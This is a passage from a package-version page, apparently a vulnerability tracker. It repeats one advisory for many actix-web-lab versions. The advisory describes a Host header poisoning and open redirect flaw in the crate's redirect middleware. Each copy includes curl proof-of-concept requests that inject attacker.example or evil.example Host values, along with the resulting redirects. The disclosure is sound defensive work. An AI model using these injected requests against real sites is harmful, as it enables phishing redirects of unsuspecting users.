curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 07, 2022

0.16.8 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 07, 2022

0.16.7 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 27, 2022

0.16.6 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 27, 2022

0.16.5 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 24, 2022

0.16.4 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 03, 2022

0.16.3 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 03, 2022

0.16.2 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 02, 2022

0.16.1 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 23, 2022

0.16.0 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 11, 2022

0.15.2 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 08, 2022

0.15.1 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 07, 2022

0.15.0 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 07, 2022

0.14.0 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 07, 2022

0.13.0 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
